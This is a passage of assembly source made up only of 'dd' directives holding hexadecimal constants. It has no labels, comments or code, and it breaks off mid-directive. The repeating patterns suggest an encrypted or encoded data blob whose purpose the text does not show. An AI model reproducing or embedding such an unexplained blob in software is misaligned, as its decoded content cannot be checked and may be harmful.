6C518648h, 0ED75F34Dh, 68C5D723h dd 0FD80CBC6h, 783FFF7h, 0D7B840E7h, 0EF46D49Ah, 23610378h dd 0AD51AF5Dh, 612DAC47h, 456D7973h, 87452EBCh, 51CD35DBh dd 0F64749E7h, 0ACE78838h, 0F7ED0655h, 4DE8C7DFh, 1386E0C4h dd 0B25DECA0h, 9E1D2D60h, 9AE7E755h, 0FFF7D7FFh, 0B8CB44B3h dd 55AB4DE2h, 9FE7C785h, 67DA9C7h, 0E7D9C6D8h, 0C6877D6Bh dd 2AE7CB08h, 0ED5B7361h, 64974CE4h, 542DC804h, 4641E7EAh dd 7CE66DD1h, 0A26D7D22h, 0ACD01D2Dh, 0FFDA0555h, 0BF6CC7E9h dd 1E48D585h, 33456131h, 0F7A4BF41h, 692C28ACh, 0C4E7432Dh dd 41FF4474h, 61E3D7D8h, 33AD12A8h, 46C02AC7h, 0E7976DD0h dd 0A63D50C4h, 82F792FFh, 0ADAC0987h, 456E6220h, 1741FF86h dd 4D3482F7h, 0E7282D8Ch, 0FF06978Ch, 0CC78B41h, 0EDA0AD93h dd 55E28E65h, 85CBDAC7h, 8455A9D7h, 0D7D2C0E6h, 2D1F5DEFh dd 0B5E7656Dh, 2DE5863Ch, 756F6A4Ah, 932D6DBEh, 0C6872A4Ch dd 0F7DF03F1h, 692951AAh, 6EE7DFEDh, 8C1C441h, 5D6BA06Ch dd 0DF23D847h, 3E51AFE7h, 0F7432DCDh, 0F546850Ah, 6B649A6Dh dd 23D8C77Dh, 5122E7DFh, 792DCD3Eh, 46850AF7h, 649AADCDh dd 0D8845D6Bh, 0A0E7DF23h, 2DCD3E51h, 850AF777h, 9AADE546h dd 57D6B64h, 0E7DF23D8h, 0CD3E5127h, 0AF76D2Dh, 0EDFD4685h dd 903A7E9Ah, 7D41C085h, 6EED7D7h, 0B2112DCEh, 0ED06144Ah dd 0AA2FB4ADh, 6D417B75h, 0C416128Fh, 0DF2DCDC5h, 44A65EF7h dd 0F7C187E6h, 0B1BD1799h, 64288B2Dh, 0FFE6855Dh, 85FF7FAh dd 2FB663ECh, 448F5B2Dh, 0F0AA0AC8h, 0AE1A712Bh, 6BF7E937h dd 2DF8877Dh, 456363E1h, 9EAD757Ah, 0AA79A23Ch, 0E7836DA6h dd 5BA1B7B9h, 0A6BFA3EDh, 2DFA47B0h, 416209AAh, 0E06D1D3Bh dd 8141E78Dh, 0D787B778h, 0B16E58F6h, 99F7E1C4h, 0B2FA4617h dd 59E5A92Bh, 0DAFCF085h, 2659E3F7h, 0E7E3AD8Fh, 0DE854D6Bh dd 0E693EAEDh, 0EDDEC641h, 59A2E795h, 0E52DE285h, 65D68E7h dd 0F7E5ADE7h, 0E1C4456Dh, 0E1E714EDh, 0F8E6C545h, 7925A305h dd 65EDB5E3h, 0C575E5C7h, 0A1C46DE5h, 0E74649A4h, 0E9E729EDh dd 0EDCD4769h, 0E8B4F785h, 0AADF2C6h, 4361E6E7h, 0D7272D8Dh dd 8DA1652Ah, 0EDE7D9ADh, 32BAE36Dh, 5836E7B4h, 0F0F4DA84h dd 0C7F77FE7h, 0C75B44C8h, 0D207D3FEh, 0A0C71544h, 0ADF5075Dh dd 4DA59DCFh, 0FF35DB85h, 0C761A5D7h, 0D74C7CD6h, 0C184DFBEh dd 7FE7C77Ch, 0ADCE06D7h, 65A4A3D2h, 86D6B62h, 4F4BFB9h dd 0D7DC44CDh, 0C585DFFAh, 0BED77804h, 74C544C6h, 5D63B309h dd 0C2AD4DC2h, 45FB7FE7h, 0B3D2ADC7h, 766265A6h, 0BFBF56ADh dd 44CD07C4h, 0E7FAD74Fh, 0EA04C5C4h, 0E6BED7h, 0F76BED90h dd 0E020D1B2h, 0BCB58664h, 2DA983D1h, 0F4F89D8Dh, 5344CD86h dd 435DA9F7h, 9DDDADAFh, 8D554D2Bh, 0E8A1113Ch, 0ED5D6345h dd 5C38E7A3h, 107C9623h, 0C6D60CE7h, 414B2DE9h, 0D544C44Eh dd 0A9ADDDADh, 2D66AF55h, 75ECE78Bh, 917CCC84h, 444440F7h dd 8DDD6DF5h, 5FCE792Fh, 4E494B57h, 44C207C0h, 59ADF79Fh dd 1135DB84h, 864B3E81h, 0B1E12DD7h, 0D006D87Bh, 2A9D90EDh dd 2DD58571h, 0D8FDC7C1h, 0A9048821h, 8165EA70h, 0C79FC7A0h dd 0B68949A3h, 7FE7FC34h, 6DDD46C3h, 0F87BF15Ah, 0BD6D176Dh dd 1D82AC7h, 0C7D50797h, 0A9544563h, 27D79F47h, 0F6A28F6Dh dd 6E157DCCh, 0FF1FC76Eh, 565EDE7h, 0F7D6C6EEh, 0A0E36DECh dd 22F7D56Dh, 0ADF5C57Dh, 7966D7DFh, 1735DA05h, 0CE5DED61h dd 0F76F2D8Ch, 0A9265966h, 1DF0DC0Fh, 6DF68544h, 796FD747h dd 0B52DE507h, 447121C7h, 0E755EDF7h, 0E0C44D64h, 6BD7146Dh dd 0ADC4C555h, 612AE7F0h, 652DE0C5h, 0C655A8C7h, 0F7C42DF7h dd 0D8C461E8h, 2DE7E36Dh, 6DCF8541h, 5562F76Ch, 0DAADC1C4h dd 8455EFF7h, 0D7B5ADD2h, 0F08641E7h, 0ABC7D1EDh, 0ADEFC445h dd 75A2E77Dh, 0F4EDE845h, 465527F7h, 0C7412DC7h, 0D8854564h dd 0E5D7AD6Dh, 6DF1875Dh, 71A0F7F4h, 90EDF747h, 0C6412DE7h dd 0C793ADEDh, 0DE84796Ch, 2DF7B46Dh, 2DD3845Dh, 69EBF755h dd 0D1ADF084h, 64DE1F7h, 0F7346DDAh, 0EF056126h, 6AF7B1ADh dd 7CAEC349h, 6967C778h, 0C3EDE5C5h, 4714E5F7h, 0F7CAF9E4h dd 0E4C61CE5h, 0E5F752F9h, 0F9E40624h, 6D67D7E5h, 0A36DA3F5h dd 87547DDCh, 0E065EDC8h, 0A15541ECh, 0E2C2AF6Dh, 0AD855541h dd 41A1C2AFh, 0AFED9355h, 5541A7E2h, 0E2AFEDAFh, 0E74555EAh dd 21F7D3F1h, 0B9E8071Ch, 2421F74Eh, 0C4B9E847h, 43421F7h dd 0F7FCB9E8h, 0E8843C21h, 21F7F7B9h, 0B9E8051Ch, 0C21F76Eh dd 64EDC687h, 0C60422F2h, 0F7D1B9D8h, 0D8860C22h, 22F7DEB9h dd 0EDC1C52Ch, 71A4E065h, 80ED8997h, 977126E2h, 0E280ADADh dd 89977120h, 0EDE280ADh, 6DAB9771h, 712CE280h, 806D9797h dd 0D49CEBC2h, 0F7DF79B0h, 0F0063CACh, 0A7F7E479h, 39B4977Dh dd 0CE8F76Fh, 0F739F405h, 840CE8F7h, 0F77F39F4h, 0F40404E8h dd 0E8F74739h, 39F48704h, 3467F7CEh, 5439F407h, 863CE8F7h dd 0F75D39F4h, 0F4461CE8h, 0E8F75B39h, 0EDC38524h, 7124C065h dd 0A0ED9791h, 9171E182h, 82A0ADB9h, 0AD9171E2h, 0EFA2A06Dh dd 6D9D9171h, 7169A2A0h, 0A02DBD91h, 9171AB82h, 0A2A02D9Fh dd 0E7457925h, 71F76DF1h, 0B8EC0504h, 3C71F7F7h, 0FBB8EC44h dd 0C73C71F7h, 0F743B8ECh dd 0EC473C71h, 71F748B8h, 0B8EC862Ch, 3C71F7DDh, 0B680EC06h dd 0D451A4C2h, 0C2B6EDA3h, 8D9551AAh, 68C2A22Dh, 2DAB9551h dd 512EE2A2h, 0A26D8F95h, 95516CC2h, 0C2A26DA1h, 8F9551A2h dd 0E9E2A2ADh, 2DB55541h, 41EBE2AFh, 916D8355h, 0C5F75AC2h dd 0E7C574EEh, 0ACD27165h, 0A59294EDh, 0EDA3D271h, 2488A294h dd 0D006DFC7h, 756DE7C7h, 0C7AFAD1Fh, 0BD52006Fh, 0E1829FADh dd 0ED955241h, 41ACA29Fh, 9FEDA352h, 4545EA82h, 0A29F78FFh dd 0BBDD71E4h, 6742A4EDh, 0ADB1DD71h, 61E1E2A5h, 0A5ED8BD5h dd 0D56124E2h, 0E2A5EDAFh, 8952412Ah, 68A29F2Dh, 2DAD5241h dd 4164829Fh, 0A42D8552h, 0DD71A962h, 42A46D95h, 0ABDD712Ch dd 6242A46Dh, 0AD8FDD71h, 716042A4h, 0A4ADAFDDh, 0DD716662h dd 829F6D9Fh, 0E0C5CB5Ah, 0B9F7E638h, 38E00500h, 1CB9F726h dd 0A4B9D884h, 0C50CB9F7h, 9CD438E0h, 0A3D27123h, 0A6E2BAADh dd 0B11451h, 34B9F760h, 2038E085h, 950CB9F7h, 7C807195h dd 0E0C510B9h, 0EDA34738h, 18F00469h, 3C22F761h, 0D738C406h dd 0D271E48Ch, 9294EDB5h, 0B6D271ACh, 0BBAA97EDh, 69F1413h dd 1424F775h, 0E9F9F885h, 2A0C24F7h, 0A3071B1Ah, 0D5467569h dd 0A8C7506Dh, 6DE0064Dh, 61EEC7F7h, 94EDE804h, 0C775AFF7h dd 0F7DB6DC8h, 0FCB96169h, 0E6F744DAh, 2DF0C555h, 4525D787h dd 0E4F2F206h, 0C575A6C7h, 0C782ADC7h, 0E385652Bh, 0D6C7696Dh dd 0ED16198Dh, 0BE560469h, 4C6DC307h, 0C66169F7h, 0D78C6DFEh dd 0CE0765E1h, 6DE79CADh, 2DCB0475h, 59ACC7CAh, 346DFFC5h dd 8541ABD7h, 0E78C6DDEh, 0EA877DA1h, 0E1F73E6Dh, 0EDDB8641h dd 512EE7DDh, 0BBA2D4C5h, 8475621Ah, 0C76EADF5h, 0C547456Fh dd 0AEF736ADh, 0EDFA045Dh, 61A1D7B5h, 3BEDE585h, 9B81DCF1h dd 0D7E1ED0Dh, 0E146612Fh, 69D7CB6Dh, 6DC0C475h, 5524E7A8h dd 0DEDF405h, 8649E8F7h, 3489EDDDh, 0F7871E5Eh, 0EBE76F2Dh dd 6DE50671h, 75A1C754h, 3EDF307h, 75126C7h, 0C7A42DFAh dd 0E6076922h, 0AEC7C1EDh, 2DE0845Dh, 6961D7F7h, 0CAADC9C7h dd 0C47D60F7h, 0E72B2DD9h, 0E8076567h, 0EDA1A0EDh, 0ADE40741h dd 75A7D7E5h, 29EDC9C4h, 457D69D7h, 0E7A12DF5h, 0CAC769AEh dd 68F73670h, 0EDFCC561h, 55A1E7ACh, 17EDD645h, 8665A7C7h dd 95E5EDF4h, 0F50661AAh, 0AEF7E9ADh, 2DEA8745h, 6D6ED7A1h dd 0E570FEC7h, 0C65D2EF7h, 0D7FCEDEEh, 0C7A14DEAh, 0E9641AD4h dd 0AD232145h, 7DEEC7C4h, 0C86DD487h, 854D6EC7h, 0C7C2B2FAh dd 0F80574F7h, 0A5A0D1EDh, 0E4989245h, 5DE4A3B4h, 3C74C7C5h dd 0C465E4E7h, 0F7B3EDE5h, 0CC845433h, 33F746BCh, 0BCCC4746h dd 249AF751h, 7EAD4C20h, 4461A2C7h, 0E7BFADC9h, 0D64565A3h dd 3DE779B5h, 0EDC544F8h, 6923D7F9h, 0F8ADCC04h, 445963F7h dd 0E7E5ADCBh, 0CA0476BCh, 0E7E73EADh, 74C44455h, 80A4D73Ch dd 4B2DA040h, 44C8BDC7h, 81442DEDh, 0F74461E3h, 3F910674h dd 0ADC444E8h, 80F49F02h, 48EDCA84h, 447167E7h, 0C7A12DF4h dd 0A5BB51ACh, 24C7DBEDh, 0EDE8C551h, 5526F7DDh, 3EEDDCC4h dd 866D26E7h, 0D785EDF4h, 9CC16D62h, 3AC708B5h, 0C49D22E4h dd 7DE9D7E9h, 0D9C49DE3h, 0C6716DA5h, 0D7E274E3h, 9D604D25h dd 3EA38AADh, 0ADCB84F3h, 0F823C73Fh, 0EDADCB04h, 445A3F7h dd 0E7BCADC6h, 12E24DE2h, 0E453A6F1h, 24DFC641h, 61658959h dd 0EBE41D0Dh, 559EAA9h, 0E729A7F5h, 452104B9h, 76A5EBA7h dd 38F506D9h, 0C576A5EBh, 0D96DA501h, 2A652DA5h, 95EBE49Dh dd 0C6ACC9C0h, 0C095EBA7h, 0D4DD07DBh, 66CC3379h, 0EB67E5AFh dd 0C6CDFAA5h, 855B2DF6h, 0F105CAFAh, 0FA855B2Dh, 2DF0C5C2h dd 0C4FAA55Bh, 442DF286h, 9712BA1h, 0ADEB2499h, 0DF864128h dd 0E4A95924h, 24DF8649h, 55E39959h, 0D924DF86h, 865DE0B1h dd 0F7BC74E3h, 0D6446892h, 0EBE7BEADh, 0E49D1F55h, 0A7E7C7E5h dd 1EDE045h, 214564F7h, 0F70C24D9h, 8EE37DABh, 3A238C6Dh dd 0AD5D21C5h, 0ED7AC71Ch, 9FAD1F22h, 0C4E8BDC7h, 0F779ADCAh dd 0FB0445A1h, 0E2C7F174h, 0AD80E279h, 10C9E739h, 3DADD644h dd 44F019F7h, 0E76EADC0h, 9AE271A3h, 0A1F7E524h, 24DF067Dh dd 7965A959h, 0D014DF06h, 0CBA465A2h, 0E72533BDh, 0E7C5BC65h dd 0A5E7E1EDh, 0ADE0C471h, 71A5F7B4h, 0A4F1F9C5h, 565A6F7h dd 0E7F1EDE5h, 0CD45E776h, 0E0E7EBEDh, 0F5E28445h, 65A6D7E5h dd 30EDD505h, 0CF61E0E7h, 0E7EDED85h, 850A1C79h, 0E3E7FFADh dd 0B1E64465h, 65E2A1EBh, 0FBADDD04h, 0C58461D7h, 0D7E5F9CBh dd 0EDC5C4B0h, 27D22BEDh, 81B57598h, 0C576A5EBh, 0EBE4DD21h dd 21C576A5h, 0A5EBE4DDh, 0DD21C576h, 76A5EBE4h, 0E4DD21C5h dd 0C576A5EBh, 0EBE4DD21h, 21C576A5h, 0A5EBE4DDh, 0DD21C576h dd 76A5EBE4h, 0E4DD21C5h, 59E7AFEBh, 0FF8882EBh, 458473A4h dd 8C7BB8DCh, 0CD708472h, 73A4FFA0h, 0AD6D7085h, 8CE4E226h dd 4F604F73h, 0C7B67F84h, 0ACD738E2h, 4FF28579h, 0EDB84F60h dd 8F5241h, 0E4DDAC5Fh, 580093EBh, 32BDBA84h, 844F20D3h dd 8461A37Fh, 474C6FF4h, 0B4BFA08Fh, 0BD864C68h, 68E3D33Dh dd 70857F44h, 0A5EBE49Dh, 0DD21C576h, 76A5EBE4h, 0E4DD21C5h dd 0C576A5EBh, 0EBE4DD21h, 21C576A5h, 0A5EBE4DDh, 0DD21C576h dd 76A5EBE4h, 0E4DD21C5h, 0C576A5EBh, 0EBE4DD21h, 21C576A5h dd 0A4FFA0C3h, 0DC448773h, 0B3943CA0h, 0A0C270B9h, 817FB40Dh dd 1560CC73h, 0F2B9B994h, 0B41D60CCh, 897A55E5h, 0E53CDE02h dd 2923A79h, 0A59A1418h, 0A5E4E5E1h, 5DBD7FC7h, 0A1EEED64h dd 6761D737h, 0B6D1A5EDh, 0E4D221FBh, 0D9B69528h, 3CA0C2A1h dd 60F9B395h, 953CA4C2h, 0C060F9B3h, 0F7B5AD60h, 0DCC461E1h dd 0E339F7E0h, 0AD24EA61h, 0E1E5F5ABh, 0A5E5E4E5h, 0E5A1CDF5h dd 76A9E5E4h, 0E4DD21C5h, 0C576A5EBh, 0EBF4C521h, 0E1E576A5h dd 0A5FFA081h, 0CD309D52h, 73A5FFA4h, 64CD60C5h, 0E5F7A5EDh dd 0D720E361h, 61A5B884h, 24DE22CDh, 0E5E1E5F5h, 0F5A5E5E4h dd 0E4CD61E5h, 0C576A5EEh, 0EBE4DD21h, 61E576A5h, 0F5A583C3h dd 0FCA5E165h, 67F5ADE5h, 0E5DC25E1h, 0E161F5B5h, 0BDA5FCA4h dd 24E163F5h, 25189DDCh, 0E60475E5h, 0E5D775EDh, 0ADF12A27h dd 0E45AC7A4h, 0A7ADC72Ah, 4455A1C2h, 0C774ADD6h, 0C04471E2h dd 0E0DC20ADh, 0ADD14471h, 55E3F770h, 62ADD044h, 7575A1DEh dd 0E7B5F9FDh, 0CA445523h, 3E73DADh, 0ADC044CBh, 7123C779h dd 29ADC944h, 455DE6C7h, 0F0EAADC1h, 15B4A5E3h, 60315E2Dh dd 0B7490AAAh, 3E20D7DDh, 0E5A1F57Ch, 0D771EDE7h, 0D7C5B9BAh dd 0FAC664DAh, 0A3D7D5B9h, 2DAFF73Eh, 6161F759h, 9979C504h dd 0C46DE3E7h, 0E7A66DC7h, 0FCC7106Fh, 6AE719ADh, 0EDFAC66Dh dd 61AFF77Eh, 8559D5C5h, 475E3F7h, 0E77EADC4h, 0C044EB03h dd 21D7BFADh, 0F1D8443Fh, 55E2C73Eh, 3EAD884Ch, 447DA3E7h dd 0E7BC87C9h, 0D7046562h, 0E6FAD2EDh, 0BFC90565h, 69A3D0AAh dd 3EAD5556h, 7659A2D7h, 0EE1F014Ah, 0DA2A08EBh, 65F72B2Dh dd 0ED9A2A4Dh, 71E1B2A0h, 0FFADD104h, 445DA3F7h, 0D7BFADD1h dd 0E8C461E3h, 0E0E7F4ADh, 0ED1A9485h, 59EF05D9h, 5926DFC5h dd 8561A019h, 9AF326DFh, 92A4DE4h, 0E4C71687h, 16DB706Dh dd 4DA4C7B6h, 0BAADB42Ah, 0C4CFDAA2h, 15BEDF1h, 95D34121h dd 0A4F7E306h, 0EDB92A4Dh, 0D51AA280h, 0A36D556Ch, 2AED5AC7h dd 0C723AD35h, 8F6C95F3h dd 0DAA28BEDh, 0EDFBC6C9h, 0CADA055Bh, 5BEDC785h, 87F6DA05h dd 15BEDC1h, 0C40471E2h, 0A3F7BEF8h, 0B1E04565h, 94E8D779h dd 0F6ADB148h, 846921D7h, 0B81BADF6h, 0C9C54D25h, 61F731BFh dd 0ADE2C45Dh, 0F70364A7h, 0B6ADEAC4h, 0BD71E1F7h, 0C8F1E3ACh dd 0D5057DE0h, 66F769EDh, 0ED88FD59h, 45A0E7EDh, 0EDAD9664h dd 465E3F7h, 0D7FEADD5h, 8CF6A4F7h, 23C73EADh, 0B3EE4565h dd 0F423C77Eh, 0D8EDC504h, 471E7A2h, 0C7BFADD6h, 0C5447923h dd 81B262EDh, 0F0C744A8h, 887AC778h, 76B5977Ch, 447D235Ch dd 0D7B68BC7h, 96329CF7h, 805078ADh, 0ADEB459Ch, 65A0E7B4h dd 98ADF745h, 84656588h, 0F7BCADC9h, 0DF0469E3h, 1D73D30h dd 0B38DF6A0h, 9981587Dh, 0F4ED82FCh, 471E250h, 0F011B3E2h dd 88BF3CCFh, 0A3C7EDADh, 31BD1259h, 59E7E0E2h, 0BE3BA7BCh dd 451F01E7h, 6CEBCBEAh, 503D5166h, 8CF1BD30h, 0AD8A7CACh dd 6D637257h, 0BFF18271h, 324D62C7h, 4074F0BAh, 523D8604h dd 807CAAEDh, 0AD8A71A7h, 0F4A3D7B8h, 3CAD953Fh, 0FEAC7A40h dd 0C738F158h, 0D37E9C01h, 0A4EF633h, 0ED933D8Dh, 81D434A7h dd 0F873D1B9h, 7971A3E7h, 34A8E2C8h, 0D8053046h, 0A2F7F9C3h dd 0AD93DE45h, 0B04EC7BFh, 95F1C204h, 5C84BA70h, 0D0EA8BAAh dd 0D105AD88h, 0D434A7EDh, 0EDC5B981h, 0A401D732h, 2E339476h dd 3B90E9E7h, 4C1CB347h, 9925A50Ah, 0B749CCBh, 0F0856498h dd 80CD4C43h, 45B5815Eh, 3E9C6920h, 6ADDF5D5h, 0CD4430EBh dd 0A3E7BCB3h, 0E36C1E41h, 35524D1h, 0BEFCF4E1h, 4455A2F7h dd 0A062F0C7h, 0F744A024h, 63D2AAF4h, 0E4C5A145h, 85D424F5h dd 0AAF3E5B9h, 0D665A3ABh, 0B1A4FCBBh, 0F6FC81C1h, 406000F4h dd 0ADD444B0h, 0E0E2D0AFh, 0C6838681h, 0A1A74B5Ah, 403233AAh dd 0BAFE0CD9h, 0BD81C8B4h, 0AD8B9CC8h, 0BB9D40B2h, 0BBADC404h dd 0BF6927C7h, 540D63FEh, 0DE3FA94Fh, 49541563h, 0C4C6BEA9h dd 1306E7E9h, 0BEA4C0A0h, 0DBECF3BFh, 914F74B5h, 0BD81DCBFh dd 30BFE4C7h, 8CC860F1h, 79E2C7BDh, 0AAADD044h, 0AD69E25Dh dd 0ADA4F3DFh, 85C310E8h, 0BEA1D8BBh, 84B8A0D8h, 0F4A3637Bh dd 0BAD4FB44h, 84FC3054h, 9D1474E1h, 0CE4549E1h, 0E7A5CCEDh dd 0ADCCC455h, 6DE2C77Dh, 0EDAD9C6Ch, 8159658Dh, 0C7B46480h dd 0E545E374h, 74D7F137h, 77DD44F8h, 5566C7BEh, 6EED4B68h dd 0C56527C7h, 0F7F9EDD9h, 9EA0D688h, 75B1FE34h, 0B5CB44C8h dd 5D23C738h, 0E5A0D705h, 45556B01h, 0F75E36DFh, 0CB2E5495h dd 95C7AEEDh, 0FEF005ECh, 0C7F765DAh, 67EDD5C7h, 49412109h dd 23AFADB2h, 0CC86D3D5h, 57F75CFEh, 0ADF96966h, 0C655C769h dd 64EDD487h, 8841AB11h, 0E7B5C6A5h, 0A0E97DA6h, 0A23BCADh dd 0EDDD05D1h, 5492B263h, 0B8ADCF2Eh, 8412303h, 0D7BCA135h dd 89AD4D67h, 0E9A3ED01h, 0EDE4045Dh, 75E1F7F1h, 34F665F7h dd 4A887D7h, 913F3FF1h, 97AF51E2h, 0B4F774ADh, 0F49A24F4h dd 0DC7C51D0h, 37FC850Dh, 846DA1F7h, 0C7F673EDh, 7013B461h dd 0E13B0727h, 0ADC74565h, 7DA3C7B8h, 0B8F4FC44h, 0BC000340h dd 0F77D4476h, 81A3A024h, 3591E1B5h, 0B5CD047Bh, 0E8B3C73Dh dd 0D83472A3h, 0A351E223h, 815E1FC0h, 0A0CF7565h, 0E293D7B9h dd 0ED8B03FCh, 20C1E7EDh, 7134D975h, 4461E25Ah, 0F7FE36C8h dd 51827D62h, 74A14374h, 0F4EB04C4h, 0E73D90A2h, 39C493E2h dd 0E7165C1h, 0A50E3E99h, 0A5E25CF4h, 5BD775EDh, 0E1272AE9h dd 0C55DD7ADh, 0FC34B16Ah, 2155E2C0h, 88DAB1B3h, 2C0E2C82h dd 4AA194B9h, 0E1E72A0Ch, 0CCBCE467h, 0A2E1F0C5h, 316A7F4h dd 0E428E18Ah, 0EAF4B9E7h, 60C29CA1h, 0A1CF74ADh, 9DA24D44h dd 0B0CCFA34h, 770E2EF7h, 0F7BDB4C8h, 0DB445563h, 2CD46582h dd 0AD77E924h, 0FC95C76Ah, 0B778E084h, 44B1CAE7h, 0D24EADE6h dd 0F644547Dh, 3D9366ADh, 0B1C9C460h, 75E2E731h, 3DADA623h dd 2E579991h, 0C72A2DEAh, 0D886D095h, 0F765DA78h, 0ADE506F3h dd 0DCD52567h, 64ADE6C7h, 9251EC01h, 0C7F7ADADh, 0FF445166h dd 0F7210837h, 0ADC144F7h, 5527A0D9h, 58ADA83Ch, 12E872A0h dd 0D7BBAD9Ch, 0A8AFB83Ah, 0FAE72EADh, 0FBE44598h, 7D213D90h dd 0F4FBB44Ah, 44F035C7h, 19AADC8h, 544955E2h, 2154E23Eh dd 0AD8AE159h, 8C3C4CA2h, 0B5DBB995h, 14E4B3E7h, 0F777F485h dd 690FC876h, 9BA167B3h, 0B08A6E73h, 0DCC34D80h, 0BFC85F5h dd 0E2F88E11h, 0E777579Fh, 761CE4F9h, 723D8AADh, 0AD630FC8h dd 2F8DF04Eh, 39769AE3h, 843A8DF7h, 0A167F4F4h, 0FF84364Ch dd 217C847Ch, 4BA0A365h, 0F875F731h, 7B41F3Fh, 0BF9BCC5Ch dd 5C09434Eh, 0E5A99B4Eh, 61C720EDh, 0D6C7E94Dh, 7D21E75Bh dd 67ADBAE9h, 0AFD87293h, 0E732C3BBh, 0C744F8B1h, 2093EDADh dd 33FF0441h, 59E630E1h, 7C76B9D9h, 0E1D436D7h, 0C77CFC85h dd 0A8BEECC5h, 62F7FFC2h, 3EAD2275h, 0EC3DE732h, 0FE00CE44h dd 0B9D8A3E7h, 0D7E5D213h, 0B2BECC72h, 0E2901F34h, 0B2B62375h dd 0FFEE1B9h, 11AD8B00h, 98E0730Dh, 3CF082B8h, 6A7C8651h dd 902E3B82h, 0E6451808h, 4DA0C7FDh, 0ABD6C7E9h, 0E94D60E7h dd 0F753D6C7h, 0C5EB4D60h, 5EF76BF4h, 6DE56924h, 0E555C773h dd 336D91E9h, 7C495C7h, 0D7343AF8h, 320BACE5h, 0A3A1C8ADh dd 0ADB62E7Dh, 683DD228h, 0D0AD707Ah, 0C459E281h, 0C77FADC7h dd 0ACF35435h, 0F7A0CCE7h, 0ADA95A74h, 61A2A1C0h, 5978C5C4h dd 6459E021h, 9F603497h, 327ADE34h, 0E3334877h, 0ADC04479h dd 4523D775h, 54F4F104h, 0AA6DE2C2h, 0E7FCED8Bh, 99806523h dd 0F62C87Bh, 7BB15F24h, 0BF8962C6h, 0FCBB491Ch, 202C0062h dd 62F0AD9Ch, 9DDC3401h, 8762E9FBh, 66AE9D04h, 69A925EDh dd 0A9F6E304h, 8461E7D7h, 0C7B5ADEBh, 81A17121h, 21C7B774h dd 0FCF0C47Dh, 61A1ADCEh, 0CAD7603h, 857D2FBFh, 0F7E5ADE5h dd 0E3C74926h, 63D7A634h, 0F486A175h, 55E242A9h, 6AADF105h dd 44D838C7h, 5307ADCAh, 0AB80EC02h, 0F5B158F4h, 0B5CDC4E8h dd 0EBFC20EAh, 3EADCD84h, 44387FF1h, 90D971EDh, 9DA0FB4Eh dd 0F4C1BCF7h, 0AD7ABCF8h, 4DE2D736h, 32AD97F4h, 0EA65A0E7h dd 0D7B5F7A9h, 8AE45521h, 44D7F676h, 0B4A962C4h, 5523E735h dd 92388EA1h, 84FA47B0h, 45ECF4D2h, 358D277Bh, 90A1A5ADh dd 0B78D15BCh, 9804A0CEh, 0B73EC344h, 845921F7h, 0A9AAB7C4h dd 0D4C42357h, 3BD7B577h, 0B4E94568h, 55A6D728h, 0D8DFB58Bh dd 0E3CC712Ch, 0D77CF4B5h, 0EDC5674Eh, 0FFC79AEDh, 7FFCC5F4h dd 544CF7E5h, 4D2DD906h, 4F716AA1h, 638C2D89h, 0BD4F71EBh dd 4C638C2Dh, 67CD6FE5h, 0E54C65C9h, 0C967CD6Fh, 6FE54C65h dd 65C967CDh, 0CD6FE54Ch, 4C65C967h, 67CD6FE5h, 0E54C65C9h dd 0C967CD6Fh, 6FE54C65h, 65C967CDh, 0CD6FE54Ch, 4C65C967h dd 67CD6FE5h, 65E475C9h, 0E1EDF585h, 6FE54CE7h, 65C967CDh dd 0CD6FE54Ch, 4C65C967h, 67CD6FE5h, 0E54C65C9h, 0C967CD6Fh dd 0C5E3FC65h, 0F765FCF0h, 0F0C574B4h, 0E4A3A047h, 0ED858171h dd 0DCB983A0h, 23FCB0DAh, 57CB4F7h, 0A3A0C2DCh, 8E817168h dd 0B47DA56Dh, 0FCF0874Ch, 5CB4F72Eh, 0CAFCF084h, 81B312F7h dd 93A02DA3h, 908171ACh, 6383A0EDh, 2DB18171h, 71EE93A0h dd 98AD9881h, 4658B47Ch, 0E794FCF0h, 0C6C67EFCh, 0AFF73DADh dd 0ADD90645h, 5DADE7FAh, 38ADD246h, 67D6CF7h, 0F73BADDEh dd 0D706592Dh, 25F7592Dh dd 0ADCE867Dh, 5D2EF73Fh, 8934FE86h, 0C671ECF7h, 0E7F02DE0h dd 0D50565E3h, 0E5C7F1EDh, 0EDE4C561h, 7929C725h, 8FADC244h dd 4549A0C7h, 0D7BAEDCEh, 0DB065DABh, 0AEF7A32Dh, 2DF28679h dd 496F91B9h, 0DE2DC347h, 47DA2C7h, 0C7066DFFh, 0E0C64D69h dd 0EDC722ADh, 6DF8C76Dh, 4169F787h, 5BADE5C6h, 45122F7h dd 0C71E6DE2h, 0F0064D6Ah, 60F749EDh, 2DCE8441h, 79A1D746h dd 1B2DECC4h, 665EAE7h, 0F7B5EDEEh, 0C947512Fh, 0A8E7092Dh dd 0ADC28675h, 6DEFC732h, 0B42DD847h, 47592FD7h, 0E72D2DCFh dd 0DA87552Ch, 0AFE7316Dh, 2DD24775h, 6DE2C7DCh, 36DF304h dd 0C665E9E7h, 0D7B8ADFEh, 0E70779AEh, 2AF79D2Dh, 0EDF90651h dd 69ECD7AAh, 0F66DCB87h, 457DA7C7h, 0C7FEADCFh, 0FF057DA6h dd 26D77AADh, 0ADE40559h, 79AAD798h, 5EDE706h, 0C65529E7h dd 0E7FFADEAh, 0F90575A6h, 0AFF7B1ADh, 2DD14771h, 71ABF791h dd 9BEDD146h, 661EAF7h, 0F75DEDEDh, 0F60461E2h, 68E70F6Dh dd 0ADD68645h, 61E6F77Dh, 6FADF605h, 8571A4F7h, 0E7E7EDDAh dd 0E9C575A5h, 0A9D780EDh, 0ADF7C679h, 69E7D774h, 82ADC045h dd 0C669E9D7h, 0E7E9ADFBh, 0CD854564h, 0ACC728EDh, 6DC4877Dh dd 71A5F767h, 2EEDEAC5h, 874D6CC7h, 0D7666DD0h, 0ECC579A5h dd 0E4C7ECEDh, 0EDD3856Dh, 65EDE723h, 126DFEC7h, 466DEBC7h dd 0D796EDD8h, 0C346496Bh, 0A7D776EDh, 0ADCC4579h, 6DEEC73Ah dd 5F2DE807h, 471A2F7h, 0F7616DFAh, 0FEC54165h, 0EDD7A2EDh dd 6DFBC769h, 5527E7F3h, 0E8ADD145h, 854D64C7h, 900AEDCBh dd 0F9455164h, 23C77E2Dh, 6DD1076Dh, 5D60C773h, 0CDADFE46h dd 649EFE7h, 0C7716DC1h, 0D3067DE0h, 66D72BADh, 6DD2C451h dd 61A8C750h, 9ADD844h, 0C65DEED7h, 0F7AFADF7h, 0F8044967h dd 0EBD71D2Dh, 0ADFB055Dh, 6127D72Eh, 0C4EDF604h, 8779ADE7h dd 0D7316DC3h, 0DC0671E0h, 0E8F7916Dh, 2D641849h, 552BF79Eh dd 